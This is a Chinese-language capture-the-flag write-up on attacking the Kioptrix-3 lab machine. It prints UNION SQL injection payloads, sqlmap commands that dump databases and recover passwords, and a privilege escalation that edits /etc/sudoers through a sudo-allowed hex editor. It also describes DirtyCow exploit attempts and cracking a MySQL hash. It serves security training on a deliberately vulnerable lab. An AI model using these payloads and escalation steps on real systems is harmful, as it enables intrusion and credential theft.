Kioptrix-3靶机渗透

📅 2026/7/2 4:48:07
Kioptrix-3靶机渗透
信息搜集nmap -sn 10.144.71.0/24 nmap -sV -p- 10.144.71.28这次就开了个80和22端口然后在开始之前得编辑一下/etc/host这个作者也说明了 浏览器进去之后插件看一眼发现有一个phpadmin不出意外的话后续肯定要用到这个东西最开始直接有一个login界面爆破照理说肯定是爆破不出来的然后尝试SQL注入过了一遍之后感觉没上用那就上SQLmap看一眼先bp抓包后面就是复制到kali里面跑了使用的命令如下sqlmap -r 1.txt -p username --batch --dbs但是没有跑不出来以为是参数或者level和risk的问题换了一个sqlmap -r 1.txt -p username,passwd --level3 --risk3 --batch --dbs(⊙﹏⊙)SQL注入获得数据跑不出来换个方向看看别的地方在home界面中有一个链接now点进去之后是相册有三张图片点进去看一下然后左上有一个Ligoat Press Room点击之后是这样一个页面下面有一个Sorting Options点开看一眼任意选择一个发现URL变化我这里是photoidhttp://kioptrix3.com/gallery/gallery.php?id1sortphotoid#photos这个非常像注入点啊尝试一下成功了接下来依旧古法查询注意这里是数字型不需要单引号闭合,这里面就放跟查询有关的了完整URL不放了?id-1 union select 1,2,3,4,5,6#这里是直接用union的之前打DC-9的时候被orderby坑过一次就没用order了列数慢慢往上加就行到了正确的列数是会有显示图片的然后是找回显位这里我每个都尝试了一遍最后只有1的位置跟别的地方不一样?id-1 union select database(),2,3,4,5,6#查出来的看着有点奇怪:但是没关系后面直接用schema就行了?id-1 union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schemadatabase()#这样看就明显多了然后是表?id-1 union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_schemadatabase() and table_namedev_accounts#不太对劲只有一个id先看一下?id-1 union select group_concat(id),2,3,4,5,6 from dev_accounts#补兑里面啥都没有那看看有没有别的数据库?id-1 union select group_concat(schema_name),2,3,4,5,6 from information_schema.schemata#好像只有这么一个SQLmap再跑一遍验证一下然后因为我们已经知道了是数字型,列数和MYSQL数据库可以修改一下提速sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --dbmsmysql --union-cols6 --batch --dbs参数完整写法示例作用说明--techniqueU--techniqueU只使用UNION 查询注入技术Union query-based跳过其他注入技术如 Boolean-based、Error-based、Time-based 等显著加快测试速度。--dbmsmysql--dbmsmysql强制指定后端数据库类型为MySQL或 MariaDB让 sqlmap 直接使用 MySQL 专属的 payload 和语法跳过其他数据库的指纹识别和测试提高效率和准确率。--union-cols6--union-cols6直接告诉 sqlmap 当前 UNION 查询的结果集有6 个字段列跳过 sqlmap 自动爆破列数的阶段默认会从 1 到 10 测试。当我们已通过 ORDER BY 或手动 UNION 测试确认列数为 6 时使用可大幅节省时间。竟然跑出来三个数据库还得是工具看一眼sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --dbmsmysql --union-cols6 --batch -D gallery --tables sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --dbmsmysql --union-cols6 --batch -D gallery -T gallarific_users --columns sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --union-cols6 --batch -D gallery -T gallarific_users -C username,password,email,usertype --dump直接拿到了admin的密码adminn0t7t1k4尝试登录一下原来的web端但是发现还是没有登进去然后我去看了另外两个数据库的那个information_schema没啥东西mysql库里面有一个不知道是啥Database: mysql Table: user [4 entries] ------------------------------------------------------------- | User | Password | ------------------------------------------------------------- | debian-sys-maint | *F46D660C8ED1B312A40E366A86D958C6F1EF2AB8 | | root | *47FB3B1E573D80F44CD198DC65DE7764795F948E | | root | *47FB3B1E573D80F44CD198DC65DE7764795F948E | | root | *47FB3B1E573D80F44CD198DC65DE7764795F948E | -------------------------------------------------------------难道就止步于此了吗只能祭出我们的dirsearch了dirsearch -u http://kioptrix3.com/发现了phpmyadmin也就是最开始截图的admin进行登录尝试发现还是不行.....最后尝试一下SSH(ˉ▽ˉ)..... (○´д) ❓兼容一下旧版本看一下ssh -oHostKeyAlgorithmsssh-rsa adminkioptrix3.com下面内容引自DreamTree师傅这个错误表明SSH客户端攻击者Kali 无法与目标服务器kioptrix3.com协商安全的加密连接原因是密钥类型不兼容服务器只支持ssh-rsa和ssh-dss这两种密钥类型但 SSH 客户端没有启用这两种密钥类型根据报错提示我们使用参数-oHostKeyAlgorithmsssh-rsa再进行登陆参数结构解释:-o表示后面跟随的是 SSH 的配置选项等价于在~/.ssh/config文件中设置的参数HostKeyAlgorithms用于定义客户端愿意接受的服务器主机密钥类型ssh-rsa 表示在默认算法列表基础上追加 ssh-rsa 算法,如果省略 如HostKeyAlgorithmsssh-rsa则会 完全覆盖默认列表仅使用ssh-rsa额又被看穿了这里先不再写踩的坑了梦师傅也是用SQLmap跑的但是跑的是account那个表sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --dbmsmysql --union-cols6 --batch -D gallery -T dev_accounts --columns难绷这里面还藏了一个sqlmap -u http://kioptrix3.com/gallery/gallery.php?id1sortphotoid -p id --techniqueU --dbmsmysql --union-cols6 --batch -D gallery -T dev_accounts -C password,username --dump --------------------------------------------------------- | password | username | --------------------------------------------------------- | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg | | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret | ---------------------------------------------------------那么再用这个进行SSH登录用loneferret的终于连上了ssh -oHostKeyAlgorithmsssh-rsa loneferretkioptrix3.com后渗透接下来就是提权了sudo -l看一眼竟然有可以直接利用的/usr/local/bin/ht是 HT Editor一个十六进制文件编辑器,既然有su权限的话我们可以用它来读取或修改任意系统文件sudo /usr/local/bin/ht #报错 Error opening terminal: xterm-256color.问了一下DS这个报错的本质是终端类型协商失败与我们之前遇到的 SSH 密钥算法报错是同类问题只是发生在了应用层。通俗解释我们通过 SSH 连接到 Kioptrix3 时你的终端模拟器比如 Kali 的 GNOME Terminal向服务器“自我介绍”说“你好我是 xterm-256color 终端我支持 256 种颜色和很多高级特性。”服务器上的 ht 编辑器是一个老旧的文本界面程序它查看了一下自己内置的终端支持列表发现“xterm-256color 是个啥我的说明书里只有 xterm、vt100、ansi 这些老古董。我不认识你报错”于是 ht 拒绝启动抛出了 Error opening terminal。技术细节在 Linux 系统中TERM 环境变量定义了当前终端的类型。程序启动时会去查阅 terminfo 数据库通常在/usr/share/terminfo/寻找对应终端类型的能力描述文件比如如何清屏、如何移动光标。Kioptrix3 是基于 CentOS 5/6 的老系统它的terminfo数据库里没有 xterm-256color 的定义文件。现代系统如 Kali 2024默认 TERM 就是xterm-256color。解决方案原理执行export TERMxterm的意思是“服务器老兄刚才我报错了其实我是个普通的xterm终端你就按黑白电视的标准对待我就行。”这样ht就能在自己的说明书里找到xterm的驱动方法顺利启动。因此我们执行上面所说的语句之后就能正常进入了export TERMxterm sudo ht编辑器用法按 F1 键打开帮助信息按 F3 键打开文件按 F6 键切换文本显示模式按 F10 键退出编辑器我们可以更改/etc/sudoersF3后输入即可最后在loneferret末尾追加/bin/bash注意要加逗号进行分隔F2保存后退出然后直接sudo /bin/bash就能成功提权或者直接NOPASSWD全是ALLloneferret ALL(ALL) NOPASSWD: ALL其实在/etc/sudoers中的用户一行有一个否定操作符loneferret ALLNOPASSWD: !/usr/bin/su, /usr/local/bin/ht #翻译一下 loneferret 可以在任何主机上不需要密码执行 /usr/local/bin/ht但是禁止执行 /usr/bin/su但是!/usr/bin/su只是一个具体路径获取root shell的方式有更多用bash sh zsh等都可以,正确的限制方式应该是加白名单并且限制编辑相应目录文件loneferret ALL(root) NOPASSWD: /usr/local/bin/ht /var/www/html/*这里用第二个方法改的时候改错了然后就sudo不了了借此机会那么就看看有无别的提权方式看了SUID好像没啥能用的内核提权似乎可行Linux Kioptrix3 2.6.24-24-server好像就是脏牛搜一下熟悉的40839但是好像是会炸机的那个... 根据之前做Lampiao的经验换40847g -Wall -pedantic -O2 -stdc11 -pthread -o dcow 40847.cpp -lutil但是靶机有点老了版本不支持换了老方式也不行那这里就告一段落了复盘看了一下别的师傅的文章御师傅就讲到了我们之前跑出来的mysql中的root那一长串用的是hash-identifier去破解MD5值#输入 hash-identifier #粘贴我们的MD5值 47FB3B1E573D80F44CD198DC65DE7764795F948E给出了可能的加密方式好用的在线网站SOMD5 解密一下直接给出来了这样就能登录phpmyadmin了我是新开了一个无痕进的也能找到SSH然后就是我们之前跑出来的admin了admin